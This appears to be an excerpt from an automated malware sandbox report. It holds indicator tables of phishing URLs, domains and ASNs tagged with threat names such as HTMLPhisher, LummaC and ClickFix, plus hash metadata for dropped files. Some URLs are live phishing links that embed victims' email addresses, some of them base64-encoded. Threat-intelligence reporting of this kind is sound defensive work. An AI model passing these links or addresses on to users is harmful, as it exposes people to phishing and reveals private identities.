	http://ib.adnxs.com/getuid?https%3a%2f%2fDaiichi-sankyo.uronfecit.ru/Hlnz62kK/#YWxleGFuZGVyLmJsYXp5Y3pla0BkYWlpY2hpLXNhbmt5by5kZQ==	Get hash	malicious	Unknown	Browse
	https://bs32c.golfercaps.com/vfd23ced/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse
	https://app.saner.ai/shared/notes/7353e5ae-dd5f-410b-92c3-210c9e88052a	Get hash	malicious	HTMLPhisher	Browse
	https://dreamsmaybachawuradekasa.org/?dococbwt&qrc=ZHlsYW4uZHVmZnk4QHlhaG9vLmNvbQ==	Get hash	malicious	Unknown	Browse
	Vernales Restaurant-encrypted.pdf	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	https://ipfs.io/ipfs/bafybeifkk7tuizumzirz7qfuxbcoggonud2b6gcvttaa7ewfdgltpybls4/index1.html?err=KHPGKXW3AEO13L6ZGUK&dispatch=B34&id=2849c1C900c31C62B159B3002c63C5#engineering@vanas.eu	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://sos-ch-gva-2.exo.io/ready/seah/continue/complete-this-to-continue.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://docs.google.com/presentation/d/e/2PACX-1vT2PGn0zBbaptqxmzd37o4wD_789vdOk0IyvB9NJB93qGFh_af8Du5RuZX0G1lsycIP1UzhONEj31sn/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://ib.adnxs.com/getuid?https%3a%2f%2fDaiichi-sankyo.uronfecit.ru/Hlnz62kK/#YWxleGFuZGVyLmJsYXp5Y3pla0BkYWlpY2hpLXNhbmt5by5kZQ==	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://report-scam.malwarebouncer.com/XcUR2TnV2VTlXT0s0Z0NYa01KSGt3dUtWMWNiblBrc29mMlpZUU1WdThBSjdDdTlRQTVDV1ZZd0pDeWRmUU5rQ1QvVDNiSlBNYWd2bTd0eTRkZW5jT0hrYTBKWHFiVUc4TVZBOGpiNkh4VG9OTm9zNTVUWHNmNWVydHpqbzhIc1llSzdzTHZ0dENVNWRLZy9BbCsyVDRMSGRHOThUWnV5QUxPU0RZL1dPalNYTmUzMTVoRzl5bmk1ZVZRPT0tLUdVYnJkMC9GazI3MWlxYmotLUpFOURyOWkzK1l6Vy9BYTVOVDBVNkE9PQ==?cid=2346401253	Get hash	malicious	KnowBe4	Browse	104.17.25.14
code.jquery.com	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Onedrive Shared document.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://docs.google.com/presentation/d/e/2PACX-1vT2PGn0zBbaptqxmzd37o4wD_789vdOk0IyvB9NJB93qGFh_af8Du5RuZX0G1lsycIP1UzhONEj31sn/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	http://ib.adnxs.com/getuid?https%3a%2f%2fDaiichi-sankyo.uronfecit.ru/Hlnz62kK/#YWxleGFuZGVyLmJsYXp5Y3pla0BkYWlpY2hpLXNhbmt5by5kZQ==	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://bs32c.golfercaps.com/vfd23ced/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
challenges.cloudflare.com	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://docs.google.com/presentation/d/e/2PACX-1vT2PGn0zBbaptqxmzd37o4wD_789vdOk0IyvB9NJB93qGFh_af8Du5RuZX0G1lsycIP1UzhONEj31sn/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	http://ib.adnxs.com/getuid?https%3a%2f%2fDaiichi-sankyo.uronfecit.ru/Hlnz62kK/#YWxleGFuZGVyLmJsYXp5Y3pla0BkYWlpY2hpLXNhbmt5by5kZQ==	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://bs32c.golfercaps.com/vfd23ced/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://app.saner.ai/shared/notes/7353e5ae-dd5f-410b-92c3-210c9e88052a	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://ipfs.io/ipfs/bafybeifkk7tuizumzirz7qfuxbcoggonud2b6gcvttaa7ewfdgltpybls4/index1.html?err=KHPGKXW3AEO13L6ZGUK&dispatch=B34&id=2849c1C900c31C62B159B3002c63C5#engineering@vanas.eu	Get hash	malicious	Unknown	Browse	104.17.24.14
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	https://sos-ch-gva-2.exo.io/ready/seah/continue/complete-this-to-continue.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	te13.exe	Get hash	malicious	Metasploit	Browse	104.21.16.1
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
CLOUDFLARENETUS	https://ipfs.io/ipfs/bafybeifkk7tuizumzirz7qfuxbcoggonud2b6gcvttaa7ewfdgltpybls4/index1.html?err=KHPGKXW3AEO13L6ZGUK&dispatch=B34&id=2849c1C900c31C62B159B3002c63C5#engineering@vanas.eu	Get hash	malicious	Unknown	Browse	104.17.24.14
	'Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse	104.21.25.52
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.80.1
	https://sos-ch-gva-2.exo.io/ready/seah/continue/complete-this-to-continue.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	te13.exe	Get hash	malicious	Metasploit	Browse	104.21.16.1
	New order 2025.msg	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
FASTLYUS	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse	151.101.128.176
	https://email.garagesalefinder.com/c/eJyMU92OsjoUfZp6xwRaoO2FF-XPYT4VnXHQ8caUFivK3wcC-vYnzImc25OQlbXYa-_VJrtyniCCZ-ncwMg2KKWmPrvMCRWYGDSBBAkLnSGigttEUJpiLHRhzLK5JRHWEbE0wS1LkxzqmpnKRCMYcymIhUyJgKkr3nCVtjxPz1kp0-ZNVMUsn1_u9xogBmAAYDAMw5uqKpWnXLZp02cibUcfgEHNVcolgAEX-Q2goOUAeUsAbZ4B5Lma-bXS9YjEH8_jUsCMDFHdh-8V6xawX6ug4FFt3FtnCCFin8wJow2-DWulyU1_iVhfsfe8SpYtI8px_iiPHZXv8Movh2Cj-95Hcj0kV7urV6jyYvatjOfWaYZ2MRxIba6V3Jx55O3PcZmp2muai3lerzYyDgu0zWKnNlb-o7Sf7h6p70NxCvM23_41HfOEGuWGy9q9Hnlqfep7pO0Kfgrvm-rvV7zTOloie11_fJdEol2uDrr9xfmOPrr1Vr-IJWM_mXjnt9SPV5IVx53pOD-UrUI1qHwX-N2-JfHP9ThUm97B9z_nIOnjcuOGjloo51Iwxy6FckMA7bIrAPIMAG2RSYA8a5H18gTbKy737aLto4f-0GD3DaDdZgogj0WebZ6M8IN8ys_TY2eziPTBe70KjWKtt8gaxll5lpZ3gDzBtbpLNBsalBgGNrFuUoTHOC67JgfIGzehnVYBQAtjAC37l8GRuSOYU4G-pG2NgEYgk_ReFjwWsPli0J_MwSSdVxuc_v2bYU25I0BvMvvT0fBL_tdrsyktMAglv0Qs4o5D0vHD8ZIUFG4XwVMUFP0UQcef1jWBOkDea447drMR_PHuZATmTlIH0KIMQPP3-3_uWTOv0_JWvWU9L6semDpvmmpIeHn7fYv9HP4TAAD__7e2IkM	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Onedrive Shared document.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://docs.google.com/presentation/d/e/2PACX-1vT2PGn0zBbaptqxmzd37o4wD_789vdOk0IyvB9NJB93qGFh_af8Du5RuZX0G1lsycIP1UzhONEj31sn/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	151.101.194.137
	file_83f986ef2d0592ef993924a8cc5b8d6a_2025-01-07_10_04_01_718000.zip	Get hash	malicious	Unknown	Browse	199.232.214.172
	Mansourbank Swift-TT379733 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	151.101.193.229
	https://e.trustifi.com/#/fff2a0/615048/6b9108/bb6bb8/0c4d40/10c266/f490c9/97ed1b/e8666a/ef542d/85972d/627493/9a11d6/1f4096/1d247f/85de28/9434d8/86c8f5/bcad02/214fc7/998ea3/f74550/f15e41/328dbb/f2d014/49d879/3689f7/91b4f6/9617cd/897401/851960/993266/280340/ae6054/337b49/6f0428/673840/abdb07/82b8be/00f4e1/3270c4/922952/b4db4e/e9dcee/3a01c5/962a76/930521/2e7fc6/514759/a95ca8/c37226/be9e63/3c4ec2/89148e/13fdfe/ea86c0/04048b/56ab74/dca15f/97696c/fa7912/512e28/fc9f59/50d13f/4f0114/039a8f/84bd72/2603b6/e0eceb/28f211/4fdb34/a1dc16/2076ef/8e55cf/8f9d2c/0d4402/f5a713/43ec64/fabda1/b6994c/da2da1/2851a8/b04ed3/8cea9a/1e21dc/0abaf5/7df73e/f39a96/1f2244/423c00/5c4e8d	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://link.edgepilot.com/s/1b4c2fcb/nQHbBC0YQUOfuyi9X74dgg?u=https://url.usb.m.mimecastprotect.com/s/sZGCCm7Wwmt5092LsBiWSRG4Fz?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse	151.101.66.137

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.0189809670219403
Encrypted:	false
SSDEEP:	12:rl3baF25bisOzV6cOl5NAqJlIwqYyRHcOl5NAqJlIwqH0Y3n:rltRcKrJlIZXBcKrJlIZU4n
MD5:	CCC894139C530FC8C3B31933EAD773BA
SHA1:	DD1A95E417D8652167793C3AECD6FBAD950A063E
SHA-256:	ABD90FF21155FBB9C3C089AE072A773CF9F910FBF8F287E69E9E466E7551B35F
SHA-512:	464D62263A9C08D342208E25107E937039BB1BA6B2DB083E9F154DF5FDA7A3C2BC7A628DD5CCB222C5A98B2F1A7160B499F7FE874E811809C718721AFADD5F8C
Malicious:	false
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 13:18:23 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9839059434716693
Encrypted:	false
SSDEEP:	48:8SAd/T3vQH5idAKZdA1FehwiZUklqeh9y+3:8SM7Sey
MD5:	E50B93BE6608D9BC4DB1E71E38052063
SHA1:	A6227C6B9206AB4161AB39C5F12ED97F1EE6B7B6
SHA-256:	DE60EC6BAC113502A05B5279D306821C86AA83FFECADCE546D12FACAD16D9527
SHA-512:	D8949ADEEA38862B0621E49D5FA1FA8AF46D21C1AFC3ABC8A073226E9819C998851DCF0B35E6298C1D9D7F4B5452F616CE2410F3A74015E5A4F4F8922D1817F8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z3r....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'ZKr....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'ZKr....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'ZKr..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'ZLr...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............\|l......C:\Program 